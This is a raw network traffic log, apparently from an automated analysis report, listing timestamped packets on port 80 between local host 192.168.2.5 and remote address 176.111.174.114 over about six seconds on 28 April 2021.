Apr 28, 2021 23:23:12.747942924 CEST	49890	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.748065948 CEST	49890	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.748368025 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.748383045 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.748492002 CEST	49890	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.748646021 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.748660088 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.748667955 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.748730898 CEST	49890	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.748795033 CEST	49890	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.848685980 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.848742962 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.848754883 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.848768950 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.848779917 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.849199057 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.849225044 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.849476099 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.849932909 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.849960089 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.849978924 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.849996090 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.850277901 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.850300074 CEST	80	49891	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.850539923 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.851391077 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.851418972 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.851809978 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.851835012 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.851850986 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.851867914 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.852294922 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.853751898 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.853779078 CEST	80	49891	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.853913069 CEST	49891	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.854104996 CEST	49890	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.953679085 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.953798056 CEST	49890	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.958944082 CEST	49891	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.960922003 CEST	49893	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:13.061616898 CEST	80	49891	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:13.061717033 CEST	49891	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:13.070142031 CEST	80	49893	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:13.070286036 CEST	49893	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:13.071198940 CEST	49893	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:13.178394079 CEST	80	49893	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:13.184587002 CEST	80	49893	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:13.184731960 CEST	49893	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:13.301642895 CEST	49893	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:13.303107977 CEST	49894	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:13.397620916 CEST	80	49894	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:13.397774935 CEST	49894	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:13.398757935 CEST	49894	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:13.409785032 CEST	80	49893	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:13.409918070 CEST	49893	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:13.492661953 CEST	80	49894	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:13.496491909 CEST	80	49894	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:13.496603966 CEST	49894	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:13.598520041 CEST	49894	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:13.599642038 CEST	49895	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:13.691941977 CEST	80	49894	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:13.692059040 CEST	49894	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:13.702261925 CEST	80	49895	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:13.702366114 CEST	49895	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:13.703102112 CEST	49895	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:13.805669069 CEST	80	49895	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:13.809190035 CEST	80	49895	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:13.809372902 CEST	49895	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:13.911252975 CEST	49895	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:13.913074970 CEST	49896	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:14.006226063 CEST	80	49896	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:14.006355047 CEST	49896	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:14.007169962 CEST	49896	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:14.013142109 CEST	80	49895	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:14.013202906 CEST	49895	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:14.100298882 CEST	80	49896	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:14.104325056 CEST	80	49896	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:14.104511976 CEST	49896	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:14.208672047 CEST	49896	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:14.209985971 CEST	49898	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:14.301600933 CEST	80	49896	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:14.302023888 CEST	49896	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:14.305119991 CEST	80	49898	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:14.310591936 CEST	49898	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:14.311199903 CEST	49898	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:14.407536030 CEST	80	49898	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:14.411386013 CEST	80	49898	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:14.412749052 CEST	49898	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:14.523427010 CEST	49898	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:14.524405003 CEST	49899	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:14.618875980 CEST	80	49898	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:14.618985891 CEST	49898	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:14.628202915 CEST	80	49899	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:14.628390074 CEST	49899	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:14.629782915 CEST	49899	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:14.734823942 CEST	80	49899	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:14.738818884 CEST	80	49899	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:14.738971949 CEST	49899	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:14.849579096 CEST	49899	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:14.851006985 CEST	49900	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:14.946645975 CEST	80	49900	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:14.947871923 CEST	49900	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:14.948489904 CEST	49900	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:14.953350067 CEST	80	49899	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:14.954766989 CEST	49899	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.044137001 CEST	80	49900	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.051532984 CEST	80	49900	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.051644087 CEST	49900	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.161886930 CEST	49900	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.163397074 CEST	49901	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.257682085 CEST	80	49900	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.257802963 CEST	49900	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.259332895 CEST	80	49901	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.259462118 CEST	49901	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.260040998 CEST	49901	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.300564051 CEST	49902	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.356290102 CEST	80	49901	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.360191107 CEST	80	49901	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.360358000 CEST	49901	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.398751020 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.398885965 CEST	49902	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.399205923 CEST	49902	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.473851919 CEST	49901	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.474896908 CEST	49903	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.494689941 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.494719982 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.494731903 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.494786024 CEST	49902	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.494826078 CEST	49902	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.494887114 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.494951963 CEST	49902	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.495054007 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.495232105 CEST	49902	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.570218086 CEST	80	49903	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.570383072 CEST	49903	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.571062088 CEST	49903	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.571099043 CEST	80	49901	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.571190119 CEST	49901	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.593272924 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.593305111 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.593317032 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.593327999 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.593421936 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.593518972 CEST	49902	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.593559027 CEST	49902	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.593569994 CEST	49902	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.593615055 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.593687057 CEST	49902	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.593975067 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.593986988 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.593996048 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.594034910 CEST	49902	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.594121933 CEST	49902	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.666302919 CEST	80	49903	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.670186996 CEST	80	49903	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.670331001 CEST	49903	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.689482927 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.689503908 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.689516068 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.689531088 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.689544916 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.689557076 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.689568996 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.689579964 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.689666033 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.689677000 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.689786911 CEST	49902	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.689866066 CEST	49902	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.689883947 CEST	49902	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.689985991 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.690000057 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.690135002 CEST	49902	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.786995888 CEST	49903	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.787839890 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.787863016 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.787878990 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.787894964 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.787910938 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.787956953 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.787971973 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.788109064 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.788197041 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.788279057 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.788295984 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.788409948 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.788427114 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.788773060 CEST	49904	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.788780928 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.792157888 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.792367935 CEST	49902	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.880835056 CEST	80	49903	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.881006002 CEST	49903	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.887840033 CEST	80	49904	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.888005972 CEST	49904	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.888464928 CEST	49904	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.889457941 CEST	80	49902	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.889547110 CEST	49902	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:15.987040997 CEST	80	49904	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.990353107 CEST	80	49904	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:15.990478992 CEST	49904	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:16.099033117 CEST	49904	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:16.100630045 CEST	49906	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:16.196284056 CEST	80	49906	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:16.196372032 CEST	49906	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:16.196916103 CEST	80	49904	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:16.196986914 CEST	49904	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:16.197036028 CEST	49906	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:16.293951988 CEST	80	49906	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:16.297658920 CEST	80	49906	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:16.297728062 CEST	49906	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:16.411401987 CEST	49906	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:16.412623882 CEST	49907	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:16.507739067 CEST	80	49906	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:16.507816076 CEST	49906	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:16.512856960 CEST	80	49907	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:16.512965918 CEST	49907	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:16.513433933 CEST	49907	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:16.613610029 CEST	80	49907	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:16.617398024 CEST	80	49907	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:16.617511988 CEST	49907	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:16.728072882 CEST	49907	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:16.729957104 CEST	49908	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:16.825978041 CEST	80	49907	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:16.826131105 CEST	49907	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:16.828119040 CEST	80	49908	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:16.828216076 CEST	49908	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:16.829340935 CEST	49908	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:16.928230047 CEST	80	49908	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:16.930546045 CEST	80	49908	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:16.930648088 CEST	49908	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:17.040189028 CEST	49908	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:17.041610956 CEST	49912	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:17.135272026 CEST	80	49912	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:17.135432959 CEST	49912	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:17.135929108 CEST	49912	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:17.138276100 CEST	80	49908	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:17.138592958 CEST	49908	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:17.229018927 CEST	80	49912	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:17.233527899 CEST	80	49912	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:17.233622074 CEST	49912	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:17.349359035 CEST	49912	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:17.361704111 CEST	49913	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:17.442420006 CEST	80	49912	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:17.442534924 CEST	49912	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:17.457195044 CEST	80	49913	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:17.457339048 CEST	49913	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:17.458781958 CEST	49913	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:17.558021069 CEST	80	49913	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:17.561016083 CEST	80	49913	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:17.561115026 CEST	49913	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:17.677257061 CEST	49913	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:17.679322958 CEST	49914	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:17.772542953 CEST	80	49913	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:17.772742987 CEST	49913	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:17.773855925 CEST	80	49914	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:17.774044991 CEST	49914	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:17.774821997 CEST	49914	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:17.868448973 CEST	80	49914	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:17.872345924 CEST	80	49914	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:17.873866081 CEST	49914	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:17.991159916 CEST	49914	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:17.992685080 CEST	49915	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.085067987 CEST	80	49914	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.085163116 CEST	49914	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.096674919 CEST	80	49915	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.096873045 CEST	49915	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.097688913 CEST	49915	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.203723907 CEST	80	49915	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.207536936 CEST	80	49915	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.207655907 CEST	49915	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.317981005 CEST	49915	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.319211960 CEST	49916	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.414647102 CEST	80	49916	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.414752960 CEST	49916	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.420310974 CEST	49916	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.421605110 CEST	80	49915	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.421669960 CEST	49915	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.454740047 CEST	49917	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.515669107 CEST	80	49916	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.519346952 CEST	80	49916	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.519422054 CEST	49916	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.558440924 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.558809996 CEST	49917	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.558845043 CEST	49917	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.630589008 CEST	49916	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.632008076 CEST	49918	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.664017916 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.664053917 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.664064884 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.664130926 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.664217949 CEST	49917	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.664309025 CEST	49917	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.727121115 CEST	80	49918	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.727296114 CEST	49918	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.729521036 CEST	80	49916	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.729660034 CEST	49916	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.730788946 CEST	49918	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.768023968 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.768126965 CEST	49917	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.768378973 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.768403053 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.768460989 CEST	49917	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.768486977 CEST	49917	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.768681049 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.768701077 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.768789053 CEST	49917	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.768835068 CEST	49917	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.824374914 CEST	80	49918	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.827522039 CEST	80	49918	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.827600956 CEST	49918	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.871835947 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.871999979 CEST	49917	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.872108936 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.872183084 CEST	49917	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.872215033 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.872229099 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.872272968 CEST	49917	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.872308016 CEST	49917	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.872473955 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.872490883 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.872539997 CEST	49917	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.872612953 CEST	49917	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.872663021 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.872674942 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.872739077 CEST	49917	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.872802019 CEST	49917	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.873040915 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.873117924 CEST	80	49917	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:18.873131990 CEST	49917	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.873234987 CEST	49917	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.943762064 CEST	49918	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.945215940 CEST	49919	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:18.978127003 CEST	80	49917	176.111.174.114	192.168.2.5
